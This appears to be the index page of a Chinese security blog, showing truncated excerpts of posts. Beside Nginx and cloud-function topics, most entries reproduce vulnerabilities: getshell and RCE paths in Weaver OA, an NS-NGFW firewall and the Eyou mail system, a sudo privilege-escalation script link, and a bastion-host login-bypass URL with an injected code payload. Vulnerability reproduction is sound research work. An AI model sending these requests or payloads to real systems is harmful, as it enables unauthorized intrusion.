首要条件 Nginx1.10.0以上版本才支持Http2.0，如果使用的是Tengine，版本需要大于2.2.1 Http2.0只支持Https协议的网站，且openssl版本需要高于1.0.2 一、查看当前Nginx安装了哪...
信息安全
Hprose for php 初探
因为某些原因审计到使用hprose 的框架的代码。就学习了一下使用方式 一、安装Hprose for PHP https://hprose.com/ 下载到本地。直接调用 使用Hprose制作...
泛微OA前台GetShell 复现
漏洞路径： /weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp Python import zipfile import random import sys import...
蓝凌OA 前台SSRF+getshell
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxx...
Centos7/Centos8 sudo 提权脚本
https://www.o2oxy.cn/wp-content/uploads/2021/05/Centos提权.zip sudo版本和系统版本 [liang@iZwz91151k3ad6caoozz05Z ~]$ [liang@iZwz91151k3ad6caoozz05Z ~]$ sudo -V ...
取之不尽用之不竭的腾讯云云函数 http/https代理 Python 版本
基础学习云函数的文章：https://www.o2oxy.cn/3374.html 现在的架构 最大的问题是解密https 的问题。通过去github 找了两个项目之后，大概是看懂了抓取https的流程。 生成C...
密码保护：某凌OA 前台未授权getshell
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...
网康NS-NGFW防火墙远程RCE 漏洞复现
漏洞点在 /directdata/direct/router 具体包如下： POST /directdata/direct/router HTTP/1.1 Host: 192.168.10.6 Connection: close Cache-Control: max-age=0 sec-ch-ua: "Google...
亿邮电子邮件系统存在远程命令执行漏洞 漏洞复现
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1 Host: 192.168.10.1 Content-Length: 25 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML...
某治堡垒机任意用户登录
HTTP：//x.x.x.x/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm 状态码返回200，存在漏洞；“错误...